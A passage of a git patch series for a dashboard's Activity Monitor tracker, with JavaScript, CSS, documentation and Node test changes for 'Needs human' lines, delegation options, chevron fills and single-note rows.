mods.indexOf('needs-decision') >= 0 + || n === (typeof STAGE_TRACKER_NEEDS_DECISION === 'number' ? STAGE_TRACKER_NEEDS_DECISION : 85) + || n === (typeof STAGE_TRACKER_ISSUE_NEEDS_DECISION === 'number' ? STAGE_TRACKER_ISSUE_NEEDS_DECISION : 45); + if (!flagged) return null; + const d = item.decision_needed || {}; + const b = item.blocker || {}; + const actor = item.stage_actor || {}; + const question = String(d.question || '').trim(); + const why = String(actor.why || '').trim(); + const whyClause = why.indexOf(' β€” ') >= 0 ? why.slice(why.indexOf(' β€” ') + 3).trim() : ''; + // Only evidence the server put on the row counts β€” a parked stage + // alone synthesizes nothing (the row may be mid-refresh or hive-owned). + const reason = question || String(b.detail || '').trim() || String(d.blocker || '').trim() || String(b.short || '').trim() || (actor.kind === 'human' ? whyClause : ''); + if (!reason) return null; + return { kind: item.kind, number: Number(item.number) || 0, reason, question, asked_by: String(d.asked_by || actor.login && actor.kind === 'hive' && 'the hive' || '').trim() || 'the hive', synthetic: true }; + } + // Pure: "Needs human: <short> β€” <first sentence of the reason>", the + // short reason first so the row names the blocker before explaining it. + // A reason that already starts with the short form is not repeated. + // whole: keep the whole reason (a decision question is the ask itself). + function stageTrackerNeedsHumanReasonText(item, reason, whole) { + const full = String(reason || '').trim(); + const short = typeof stageTrackerNeedsHumanShort === 'function' ? stageTrackerNeedsHumanShort(item) : ''; + if (!short || full.toLowerCase().indexOf(short.toLowerCase()) === 0) return full; + const m = whole ? null : full.match(/^[\s\S]*?[.!?](?=\s|$)/); + const first = m ? m[0].trim() : full; + return first ? short + ' β€” ' + first : short; + } + // Pure: the label of the row's lead action, when a lifted copy has one + // (tracker-actions). '' without one, or when the lead is the optional + // delegation itself β€” that is not what the person is asked to do. + function stageTrackerNeedsHumanLeadLabel(item, subRows) { + if (typeof stageTrackerLeadActionOnRow !== 'function' || typeof stageTrackerActionCtx !== 'function') return ''; + const ctx = stageTrackerActionCtx(item.repo); + if (!ctx) return ''; + ctx.rows = typeof _stageTrackerRows !== 'undefined' ? _stageTrackerRows : null; + const action = stageTrackerLeadActionOnRow(item, ctx, subRows); + if (!action || !action.label || action.id === 'decide:delegate' || action.id === 'decide:delegate-all') return ''; + return String(action.label).replace(/\s*[β–Έβ€Ί]\s*$/, ''); + } + // Pure: the one open covering PR a person other than the hive is pushing + // for this issue, when exactly one covers it. null otherwise. + function stageTrackerNeedsHumanPusher(item) { + if (!item || item.kind !== 'issue') return null; + if (typeof stageTrackerLinkedPROpen !== 'function') return null; + const open = (Array.isArray(item.linked_prs) ? item.linked_prs : []).filter(lp => lp && stageTrackerLinkedPROpen(lp, item)); + if (open.length !== 1) return null; + const lp = open[0]; + const human = (lp.author_kind || '') === 'human' || (lp.author_kind || '') === 'maintainer'; + return human && lp.author ? lp : null; + } + function stageTrackerHumanAttentionLine(item, subRows) { + const a = stageTrackerHumanAttentionOf(item) || stageTrackerNeedsHumanAsk(item); if (!a) return ''; - const reason = String(a.reason || '').trim() || 'Human decision required; reason unavailable'; + const reason = stageTrackerNeedsHumanReasonText(item, String(a.reason || '').trim() || 'Human decision required; reason unavailable', !!(a.synthetic && a.question)); const parts = ['Needs human: ' + reason]; if (a.owner) parts.push('next move: @' + a.owner); - if (a.asked_by) parts.push('requested by ' + a.asked_by); + if (a.asked_by) parts.push((a.synthetic ? 'asked by ' : 'requested by ') + a.asked_by); + const lead = stageTrackerNeedsHumanLeadLabel(item, subRows); + if (lead) parts.push('lead: ' + lead + ' β–Έ'); + const pusher = stageTrackerNeedsHumanPusher(item); + if (pusher) parts.push('@' + pusher.author + ' is pushing it in #' + Number(pusher.number)); return parts.join(' Β· '); } - function stageTrackerHumanRequirementText(item) { + function stageTrackerHumanRequirementText(item, subRows) { if (!item || item.advisory || item.hold || item.state === 'closed' || Number(item.stage) >= STAGE_TRACKER_TERMINAL || item.superseded_by || item.adopted_by || (item.modifiers || []).some(m => m === 'draft' || m === 'hold' || m === 'merged')) return ''; - const human = stageTrackerHumanAttentionLine(item); + const human = stageTrackerHumanAttentionLine(item, subRows); const d = item && item.decided; const review = d && d.current_blocker && String(d.head || '') === String(item.head || '') ? 'Current blocker: ' + d.current_blocker + ' Β· operator approval recorded separately, not review approval or merge readiness' : ''; return [human, review].filter(Boolean).join(' Β· '); } - function stageTrackerHumanContextOf(item, stages) { + function stageTrackerHumanContextOf(item, stages, subRows) { if (!item) return []; - const own = stageTrackerHumanRequirementText(item); - const out = own ? [{ item, text: own }] : []; + const own = stageTrackerHumanRequirementText(item, subRows); + // An issue's own ask is prefixed with its number, like a PR's line, + // so a row whose strip a covering PR drives still names the asker. + const asks = item.kind === 'issue' && !!(stageTrackerHumanAttentionOf(item) || stageTrackerNeedsHumanAsk(item)); + const out = own ? [{ item, text: (asks ? '#' + Number(item.number) + ' β€” ' : '') + own }] : []; if (item.kind !== 'issue') return out; // Include external drawn_under references, but never walk RFC ancestry // or assign one child's requirement to the issue / its other PRs. @@ -18839,7 +19010,7 @@ <h3 class="faq-group-title">Where to get help</h3> return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; } function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { - const required = stageTrackerHumanContextOf(item, stages); + const required = stageTrackerHumanContextOf(item, stages, subRows); const lines = required.map(entry => { const it = entry.item; const href = it.url || item.url; @@ -19766,6 +19937,20 @@ <h3 class="faq-group-title">Where to get help</h3> stageTrackerNoteEventSet(key, stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting())); stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } + // The row's "needs human" pill: bring its "Needs human: …" line into + // view, untucked. rowKey: the row's data-ham-key. + function stageTrackerNeedsHumanReveal(rowKey) { + const panel = document.getElementById('activity-monitor-panel'); + if (!panel || !rowKey) return; + const rows = panel.querySelectorAll('.ham-row[data-ham-key]'); + let row = null; + for (const r of rows) if (r.getAttribute('data-ham-key') === String(rowKey)) { row = r; break; } + if (!row) return; + const line = row.querySelector('.ham-human-context[data-cue-key]'); + if (!line) return; + if (line.classList.contains('cue-event-tucked')) stageTrackerNoteToggle(line.getAttribute('data-cue-key')); + if (typeof line.scrollIntoView === 'function') line.scrollIntoView({ block: 'nearest' }); + } // Hidden tab: stop the clock on every open line; visible again: give // back the hidden time and re-arm. function stageTrackerNoteVisibility(hidden, nowMs) { @@ -22138,7 +22323,11 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> const out = []; // First: the hive decides as the owner's delegate (policy + rails on // the server; recorded as a human decision with an audit marker). - out.push({ id: 'decide:delegate', label: 'Let hive decide', hint: 'delegate', enabled, why }); + // The server may rule delegation out for this row (a capability gap + // no decision closes β€” hivecommons/docs#612); its reason wins. + const served = stageTrackerServerDelegate(item); + const delegateOff = !!served && served.enabled === false; + out.push({ id: 'decide:delegate', label: 'Let hive decide', hint: 'delegate', enabled: enabled && !delegateOff, why: delegateOff ? (served.reason_if_disabled || 'The hive cannot decide this one') : why }); if (item.kind === 'pr') { out.push({ id: 'decide:approve', label: 'Approve (/lgtm + /approve)', enabled, why }); out.push({ id: 'decide:close-superseded', label: 'Close as superseded by…', enabled, why, danger: true }); @@ -22152,6 +22341,11 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> out.push({ id: 'decide:close-wontfix', label: "Close as won't-fix…", enabled, why, danger: true }); return out; } + // Pure: the server's decide:delegate option on the row, or null. + function stageTrackerServerDelegate(item) { + const opts = item && item.decision_needed && Array.isArray(item.decision_needed.options) ? item.decision_needed.options : []; + return opts.find(o => o && o.action === 'decide:delegate') || null; + } // Pure: the operator note for labels the row's stage has outrun // (stale_labels: a needs-triage still on a claimed issue, which the // reconciler removes on its next pass β€” hivecommons/hive#14586). '' when none. @@ -22364,6 +22558,15 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> if (lead) return lead; const decide = actions.find(a => a.id === 'decide'); const safe = decide && Array.isArray(decide.submenu) ? decide.submenu.filter(x => x && !x.danger) : []; + // The server ruled delegation out (a capability gap): the first + // enabled, non-destructive blocker option leads instead β€” the + // person's actual move (open App settings, re-check permissions), + // not a greyed "Let hive decide" (hivecommons/docs#612). + const served = stageTrackerServerDelegate(item); + if (served && served.enabled === false) { + const b = stageTrackerBlockerActions(item, ctx).find(x => x.enabled && !x.danger); + if (b) return Object.assign({}, b, { target: (decide && decide.target) || { kind: item.kind, number: item.number, repo: item.repo } }); + } if (safe.length) { const o = safe.find(x => x.enabled) || safe[0]; const enabled = !!decide.enabled && !!o.enabled; @@ -22447,7 +22650,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> function stageTrackerLeadCompanion(item, ctx, lead) { if (!item || !lead || lead.passive || lead.id === 'decide:delegate') return null; const dec = typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; - const human = !!(dec && dec.item && dec.item.decision_needed) || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; + const human = !!(dec && dec.item && dec.item.decision_needed) || !!item.decision_needed || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; if (!human) return null; const decide = stageTrackerRowActions(item, ctx).find(a => a.id === 'decide'); const o = decide && Array.isArray(decide.submenu) ? decide.submenu.find(x => x && x.id === 'decide:delegate') : null; From a9a9094de1749463e97c75e991a096aa39af16d8 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Wed, 4 Nov 2026 10:45:17 -0700 Subject: [PATCH 84/87] =?UTF-8?q?=F0=9F=93=96=20docs:=20centralize=20Code?= =?UTF-8?q?=20activity=20compatibility=20guidance=20(#16616)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hive-Run: hivecommons/hive#16611 Hive-Plan: centralize-code-activity-compatibility Hive-Spec: issue-16611#description Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- src/docs/api-reference/dashboard-misc.md | 9 ++------- src/docs/operator-reference/README.md | 2 +- src/docs/streaming-the-activity-monitor.md | 19 ++++--------------- 3 files changed, 7 insertions(+), 23 deletions(-) diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index 66daa880fd..63173e935a 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -139,10 +139,5 @@ Code buffers are bounded and memory-only, so this is not an audit history. Clear retained browser code on epoch changes and failed/disabled/unauthorized pulls. An empty response says nothing about work outside the admitted source. -The internal `/api/matrix/lines` and `dashboard.matrix.*` names are deprecated -but remain supported for compatibility. The sole code display is now **Code activity** -at `?kiosk=1&view=reader`; `?kiosk=1&view=matrix` is a deprecated alias that -opens the same reader. The Matrix renderers and their `mx.*` settings are -retired. Activation remains explicitly opt-in and default-off; -only pushed, published PR checkpoints are admitted, never workspace or pre-push -content. The cutover grants no anonymous access or broadcast authorization. +This endpoint supplies the [Code activity reader](../dashboard.md#code-activity-reader); +see that section for presentation, compatibility, capture and access policies. diff --git a/src/docs/operator-reference/README.md b/src/docs/operator-reference/README.md index 23a9811ad5..2757cd42a3 100644 --- a/src/docs/operator-reference/README.md +++ b/src/docs/operator-reference/README.md @@ -284,7 +284,7 @@ Go callers keep reading `cfg.Agents`, `cfg.Governor.Gateways` and so on through | `dashboard.public_url` | Empty means OAuth redirect URIs (Linear agent install, OpenRouter funding) fall back to `hub.dashboard_url`, then the request's forwarded/`Host` origin. | Set to this dashboard's externally reachable origin (`https://hive.example.com`, no path/query) on a standalone hive whose callback is published on a different hostname or whose ingress rewrites `Host`. Must be an absolute `http(s)://` origin; a trailing slash is trimmed and anything else fails config load. See [linear-agent.md](../linear-agent.md#setup). | | `dashboard.experiment_lab` | Off by default. | Hides the Experiment Lab (formerly Strategy Lab) while that surface is being reworked. Set `dashboard.experiment_lab: true` to show the Experiment Lab section, sidebar nav entry, and Nous status controls. | | `dashboard.strategy_lab` | Off by default. **Deprecated** alias of `dashboard.experiment_lab`, kept for one release (#11695). | `true` still enables the Experiment Lab and logs a one-line deprecation at config load; the value is folded into `dashboard.experiment_lab` so the next config save writes the documented key. | -| `dashboard.matrix` | Off by default (`enabled: false`, `repos: []`, `exclude_paths: []`). **Experimental.** | Opt-in Code activity source. The `dashboard.matrix.*` names are deprecated but retained for compatibility; the Code activity entry opens `?kiosk=1&view=reader` in a new tab. No automatic enablement or workspace capture. When active, pushed lines from allow-listed repos are served to authenticated read-role viewers via `GET /api/matrix/lines?since=&max=` (bounded backlog, `Cache-Control: no-store`; `404` when inactive) and `/api/events` emits a content-free `code-lines` nudge (`{"seq":N}`, ≀1/s) telling browsers to pull. `repos` is an explicit exact `owner/name` allowlist (no wildcards, URLs or bare names) and an empty list captures nothing, so `enabled: true` alone stays inactive. `exclude_paths` adds non-empty path globs to the built-in deny-list. There is no `authors` or `private_repos` key: authors are fixed and private repos are always excluded. | +| `dashboard.matrix` | Off by default (`enabled: false`, `repos: []`, `exclude_paths: []`). **Experimental.** | Code activity source; see [Code activity reader](../dashboard.md#code-activity-reader) for presentation, compatibility, capture and access policies. When active, pushed lines from allow-listed repos are served to authenticated read-role viewers via `GET /api/matrix/lines?since=&max=` (bounded backlog, `Cache-Control: no-store`; `404` when inactive) and `/api/events` emits a content-free `code-lines` nudge (`{"seq":N}`, ≀1/s) telling browsers to pull. `repos` is an explicit exact `owner/name` allowlist (no wildcards, URLs or bare names) and an empty list captures nothing, so `enabled: true` alone stays inactive. `exclude_paths` adds non-empty path globs to the built-in deny-list. There is no `authors` or `private_repos` key: authors are fixed and private repos are always excluded. | | `hub.contribute_announcement` | Empty/off by default. | Operator notice for contributors. Set from Governor β†’ Hub or `/contribute` Management (owner/read-write): `text` is server-sanitised plain text capped at 500 characters and rendered only through text-safe sinks (empty clears), `level` is `info`/`warning`, `expires_at` is optional RFC3339, and the server rotates `id` whenever text changes so dismissed Operations/Profile banners reappear. Active notices show on `/contribute` Operations/Profile, above the Onboarding command block, and in connected relay terminals. | | `hub.contribute_repo_filters` | Empty map means repos inherit the hive-wide contributor title, author, and label filters exactly as before. | Optional full `owner/repo` keys that narrow one repository's `/contribute` queue without widening the hive. Hive-wide skip labels and hive-wide filters always run first; a repo filter can only add deny matches or require an allow-mode title/author/label match for that repo. Edit from `/contribute` β†’ Management β†’ Repos for Contribute β†’ Filters or Governor β†’ Hub. Operations lists configured overrides and withheld diagnostics name repo matches, e.g. `Repo filter label "2-discussing" denied for projectbluefin/common`. | | `hub.contribute_wall_enabled` | Off by default. | Opts the hive into the public contributor wall on `/contribute` Operations. The Management tab and Governor Hub settings mirror this switch. When off, the panel is hidden and write endpoints refuse posts. | diff --git a/src/docs/streaming-the-activity-monitor.md b/src/docs/streaming-the-activity-monitor.md index f7f737d2ff..c7dd5a8cde 100644 --- a/src/docs/streaming-the-activity-monitor.md +++ b/src/docs/streaming-the-activity-monitor.md @@ -296,21 +296,10 @@ full-screen Activity Monitor. ## Code activity (separate channel) -The Activity Monitor topbar shows one **Code activity** entry when -`dashboard.matrix.enabled` is set. It opens the [reader](dashboard.md#code-activity-reader) -at `?kiosk=1&view=reader` in a new tab. Code activity supersedes the Matrix -code view: rain, cascade, ghost, terminal and all `mx.*` presentation settings -are retired. Saved `?kiosk=1&view=matrix` display URLs are a deprecated alias -that opens the same reader; new links should use `view=reader`. - -The source remains default-off and limited to pushed published PR checkpoints -from positively identified Hive/clanker authors in explicitly allowlisted public -repositories. Complete admitted add/remove regions are shown with `Pushed PR` -provenance and observed time; opening backlog is labelled a buffered snapshot. -There is no workspace or pre-push capture. The internal `dashboard.matrix.*` -configuration and `/api/matrix/lines` names are deprecated but remain supported. -Existing read authorization, path exclusions and whole-region scrub/drop filters -still apply. Dashboard authentication alone does not authorize broadcasting. +The separate Code activity channel uses the +[Code activity reader](dashboard.md#code-activity-reader); see that section for +its display, source restrictions, compatibility and access policy. +Dashboard authentication alone does not authorize broadcasting. [`overlays/hive-hosted-matrix/`](../deploy/stream/overlays/hive-hosted-matrix/kustomization.yaml) reuses the streamer image and base as a separate instance. It renders Deployment, From ecd0151da5f7ba542281e1ba15d6267f74bc1440 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 12:55:12 -0500 Subject: [PATCH 85/87] =?UTF-8?q?=F0=9F=90=9B=20Keep=20a=20not-yet-run=20c?= =?UTF-8?q?urrent-phase=20CI/Review=20chevron=20visibly=20filled=20(#16625?= =?UTF-8?q?)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Keep a not-yet-run current-phase track visibly filled mobile-shots tracker-header-geometry failed on rows whose current-phase CI/Review track has not run yet (unknown / queued beside its running neighbour): the icon-only .todo chevron lost its fill. Give .todo.ham-current the same muted field as .done/.failing β€” glyph only, neutral β€” and make the probe's failure message name the cell. Signed-off-by: Andrew Anderson <andy@clubanderson.com> * changelog: fragment for #16625 Generated by changelog-fragment-guard from the PR title (#5675). Edit the wording freely, or replace this file with the no-changelog label if the change is not user-visible. Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Signed-off-by: clubanderson <407614+clubanderson@users.noreply.github.com> * πŸ“ changelog: drop duplicate fragment (fixed-16625.md carries the entry) Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> Signed-off-by: clubanderson <407614+clubanderson@users.noreply.github.com> Co-authored-by: clubanderson <407614+clubanderson@users.noreply.github.com> Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/fixed-16625.md | 1 + src/pkg/dashboard/static-src/css/tracker.css | 5 +++++ src/pkg/dashboard/static/index.html | 5 +++++ .../dashboard/webstatic/testdata/tracker-header-geometry.js | 2 +- 4 files changed, 12 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-16625.md diff --git a/changelog.d/fixed-16625.md b/changelog.d/fixed-16625.md new file mode 100644 index 0000000000..3523513fc6 --- /dev/null +++ b/changelog.d/fixed-16625.md @@ -0,0 +1 @@ +- Keep a not-yet-run current-phase CI/Review chevron visibly filled (#16625) diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 88b7c0a5ba..0e16ece3c5 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -388,6 +388,11 @@ .ham-seg.ham-activity-track.done { background: var(--panel-strong); color: var(--green); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing { background: var(--panel-strong); color: var(--status-error); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + /* A not-yet-run track in the current phase (CI unknown on a 050 row, + Review queued beside running CI) keeps the same muted field as its + done / failing neighbours β€” the glyph alone, neutral β€” so the current + phase stays a visibly filled location (hivecommons/hive#16599). */ + .ham-seg.ham-activity-track.todo.ham-current { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; } /* Words without motion (checks not reported, unknown evidence, a row parked on a person): current-phase text on a muted field, never amber. */ .ham-seg.ham-activity-track.pending { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 8e44fe5616..0105abcc3d 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1728,6 +1728,11 @@ .ham-seg.ham-activity-track.done { background: var(--panel-strong); color: var(--green); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing { background: var(--panel-strong); color: var(--status-error); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + /* A not-yet-run track in the current phase (CI unknown on a 050 row, + Review queued beside running CI) keeps the same muted field as its + done / failing neighbours β€” the glyph alone, neutral β€” so the current + phase stays a visibly filled location (hivecommons/hive#16599). */ + .ham-seg.ham-activity-track.todo.ham-current { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; } /* Words without motion (checks not reported, unknown evidence, a row parked on a person): current-phase text on a muted field, never amber. */ .ham-seg.ham-activity-track.pending { background: var(--panel-strong); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } diff --git a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js index 25644876b6..14b2300a93 100644 --- a/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js +++ b/src/pkg/dashboard/webstatic/testdata/tracker-header-geometry.js @@ -211,7 +211,7 @@ if (cell.dataset.routeState?.split(' ').includes('active')) { assert(cell.classList.contains('ham-current'), name + 'current phase remains highlighted independently of work'); const style = getComputedStyle(cell); - assert(Number(style.opacity) >= 0.9 && style.backgroundColor !== 'rgba(0, 0, 0, 0)' && style.backgroundColor !== 'transparent', name + 'queued/unknown/assigned/completed current tracks retain a visible steady fill'); + assert(Number(style.opacity) >= 0.9 && style.backgroundColor !== 'rgba(0, 0, 0, 0)' && style.backgroundColor !== 'transparent', name + 'queued/unknown/assigned/completed current tracks retain a visible steady fill: ' + JSON.stringify({ cls: cell.className, track: cell.dataset.track, state: cell.dataset.activityState, bg: style.backgroundColor, opacity: style.opacity, label: cell.getAttribute('aria-label')?.slice(0, 80) })); } if (cell.dataset.track) { // CI / Review lanes are chevrons like their neighbours: same notch From 5e0e3985b453b8450ad2bd023c9cfcdbd92f1473 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 12:57:32 -0500 Subject: [PATCH 86/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20rend?= =?UTF-8?q?er=20at=20most=20one=20hive=20note=20line=20per=20row=20(#16628?= =?UTF-8?q?)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A row stacked its "Needs human: …" line over the "Hive: moved to …" stage note. Rank every candidate β€” needs-human / decision > blocker > next move / claim > optional delegation > stage note β€” and render the winner alone on issue rows and PR sub-rows. A lower note's facts ride the winning line as a trailing clause only when they add something the row does not already say; a stage note that merely restates the lit chevron is dropped. The single line keeps its ⬑ icon, View link and one age. Fixes #16627 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-single-hive-note-line.md | 1 + .../stage_tracker_human_attention.test.js | 10 +- .../stage_tracker_single_note.test.js | 158 ++++++++++++++++++ .../static-src/js/tracker-human-attention.js | 103 ++++++++++-- .../static-src/js/tracker-row-layout.js | 5 +- .../static-src/js/tracker-row-render.js | 7 +- src/pkg/dashboard/static/index.html | 115 +++++++++++-- 7 files changed, 366 insertions(+), 33 deletions(-) create mode 100644 changelog.d/fixed-single-hive-note-line.md create mode 100644 src/pkg/dashboard/stage_tracker_single_note.test.js diff --git a/changelog.d/fixed-single-hive-note-line.md b/changelog.d/fixed-single-hive-note-line.md new file mode 100644 index 0000000000..b0978c77ac --- /dev/null +++ b/changelog.d/fixed-single-hive-note-line.md @@ -0,0 +1 @@ +- Activity Monitor: a tracker row (issue row or PR sub-row) now renders at most one hive note line. The needs-human / decision ask outranks the blocker, next-move and stage-transition notes; a lower note's facts ride the winning line as a trailing clause only when they say something the row does not already (a "moved to Needs human decision" note under a strip already lit at Needs human decision is dropped). The single line keeps its ⬑ icon, View link and one relative age ([#16627](https://github.com/hivecommons/hive/issues/16627)). diff --git a/src/pkg/dashboard/stage_tracker_human_attention.test.js b/src/pkg/dashboard/stage_tracker_human_attention.test.js index c70e5660b8..31a3812cf3 100644 --- a/src/pkg/dashboard/stage_tracker_human_attention.test.js +++ b/src/pkg/dashboard/stage_tracker_human_attention.test.js @@ -32,7 +32,7 @@ function load() { stageTrackerChipsHtml: () => '', stageTrackerMoveAttrs: () => '', stageTrackerSinceHtml: () => '', stageTrackerStripItems: it => `<li data-stage="${it.stage}"></li>`, stageTrackerCurrentStageHtml: it => `<span class="ham-current-stage">${it.stage}</span>`, - stageTrackerEventHtml: (key, ctx) => `<p class="cue-event cue-event-tuckable" data-cue-key="${esc(key)}">${esc(ctx && ctx.note || 'live note')}<button>Reopen</button></p>`, + stageTrackerEventHtml: (key, ctx) => ctx && ctx.events && ctx.events[key] ? `<p class="cue-event cue-event-tuckable" data-cue-key="${esc(key)}">Hive: ${esc(ctx.events[key].text)}<button>Reopen</button></p>` : '', stageTrackerActionCtx: () => ({ user: 'viewer' }), stageTrackerLeadActionOnRow: item => item.optionalAction ? { id: 'decide:delegate', label: 'Let hive decide' } : null, }); @@ -59,12 +59,16 @@ function issue(linked) { test('covered issue shows the exact PR requirement/requester in visible prose without overriding its actual stage', () => { const c = load(), child = pr(), item = issue([child]), before = plain(item); - const html = c.stageTrackerRowHtml(item, [], { nowMs: 1, note: 'review comment' }); + const html = c.stageTrackerRowHtml(item, [], { nowMs: 1, events: { 'hivecommons/hive/issue#15937': { who: 'hive', text: 'review comment', at: 1 } } }); assert.match(html, /data-ham-kind="issue".*data-ham-stage="40"/); assert.match(html, /data-stage="85"/); assert.match(html, /PR #15985 β€” Needs human: Confirm the compatibility policy Β· next move: @maintainer Β· requested by a reviewer/); assert.match(html, />View PR #15985<\/a>/); - assert.match(html, /cue-event-tuckable.*data-cue-key=.*review comment.*Reopen/); + // One note line: the hive's stage note rides the human line as a + // trailing clause instead of a second "Hive: …" line. + assert.equal((html.match(/class="cue-event/g) || []).length, 1); + assert.match(html, /requested by a reviewer <a[^>]*>View PR #15985<\/a> Β· review comment/); + assert.doesNotMatch(html, /Hive: review comment/); assert.doesNotMatch(html, /Needs you|ham-preparation-head|<section/); assert.deepEqual(plain(item), before); }); diff --git a/src/pkg/dashboard/stage_tracker_single_note.test.js b/src/pkg/dashboard/stage_tracker_single_note.test.js new file mode 100644 index 0000000000..408c03f461 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_single_note.test.js @@ -0,0 +1,158 @@ +// One note line per Activity Monitor row. The owner saw a row carry two +// hive comments β€” "Needs human: … Β· requested by a reviewer View PR #16619" +// over "Hive: moved to Needs human decision" β€” and asked for one: +// needs-human / decision > blocker > next move > stage note, with the +// loser's facts folded in only when they add something the row does not +// already say. Runs the shipped tracker-motion + tracker-human-attention +// sources so the real tuckable line (⬑ icon, View link, one age) is what +// is asserted. +const test = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); +const vm = require('node:vm'); +const source = name => fs.readFileSync(path.join(__dirname, 'static-src/js', name + '.js'), 'utf8'); +const fn = (file, name) => { + const text = source(file); + const match = text.match(new RegExp('function ' + name + '\\([^\\n]*\\) \\{[^\\n]*\\}\\s*(?:\\n|$)')) + || text.match(new RegExp('function ' + name + '\\([^\\n]*\\) \\{[\\s\\S]*?\\n \\}')); + assert.ok(match, name); + return match[0]; +}; +const esc = value => String(value).replace(/[&<>"']/g, ch => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[ch])); +const STAGES = [ + { number: 40, label: 'stage/040-covered-by-pr', short: 'Covered by PR' }, + { number: 50, label: 'stage/050-ci-review', short: 'CI / Review' }, + { number: 85, label: 'stage/085-needs-human-decision', short: 'Needs human decision' }, +]; +function load() { + const c = vm.createContext({ Date, esc, console, + document: { hidden: false, getElementById: () => null }, + localStorage: { getItem: () => null, setItem: () => {} }, + setTimeout: () => 0, clearTimeout: () => {}, + dashboardSetInterval: () => 0, + STAGE_TRACKER_TERMINAL: 100, STAGE_TRACKER_PR_COLUMN: 40, + STAGE_TRACKER_PATH: [0, 10, 20, 40, 50, 80], + STAGE_TRACKER_LINKED_GLYPH: '↳', STAGE_TRACKER_SOFT_LINK_TIP: 'refs', + stageTrackerAnchor: n => Number(n) || 0, + stageTrackerAttentionTier: () => 1, + stageTrackerLeadStage: lp => lp.stage || 40, + stageTrackerIcon: (kind, cls) => `<svg class="${cls || ''}" data-kind="${kind}"></svg>`, + stageTrackerPRRef: (n, url) => `<a href="${esc(url || '#')}">#${n}</a>`, + stageTrackerPRPillsHtml: ref => ref, + stageTrackerTitleHtml: text => `<span>${esc(text)}</span>`, + stageTrackerTooltip: it => it.caption || '', + stageTrackerLinkedTip: () => '', + stageTrackerActedBadgeHtml: () => '', stageTrackerRowToolsHtml: () => '', + stageTrackerChipsHtml: () => '', stageTrackerMoveAttrs: () => '', stageTrackerSinceHtml: () => '', + stageTrackerStripItems: it => `<li data-stage="${it.stage}"></li>`, + stageTrackerCurrentStageHtml: it => `<p class="ham-current-stage">${esc((STAGES.find(s => s.number === Number(it.stage)) || {}).short || it.stage)}</p>`, + stageTrackerActionCtx: () => ({ user: 'viewer' }), + stageTrackerLeadActionOnRow: () => null, + }); + vm.runInContext(fn('tracker-words-stage', 'stageTrackerStageName'), c); + for (const name of ['stageTrackerLinkedSuperseder', 'stageTrackerLinkedSupersededGone', 'stageTrackerLinkedSupersededText', 'stageTrackerLinkedSupersededTip']) vm.runInContext(fn('tracker-words-gate', name), c); + for (const name of ['stageTrackerItemKey', 'stageTrackerPRKey', 'stageTrackerRowPRKeys']) vm.runInContext(fn('tracker-merged', name), c); + for (const name of ['stageTrackerLinkedPRItem', 'stageTrackerLinkedPROpen', 'stageTrackerLinkedDrawnHere', 'stageTrackerLinkedSorted', 'stageTrackerHeadColsHtml', 'stageTrackerSubRowHtml']) vm.runInContext(fn('tracker-row-layout', name), c); + vm.runInContext(fn('tracker-row-render', 'stageTrackerRowHtml'), c); + 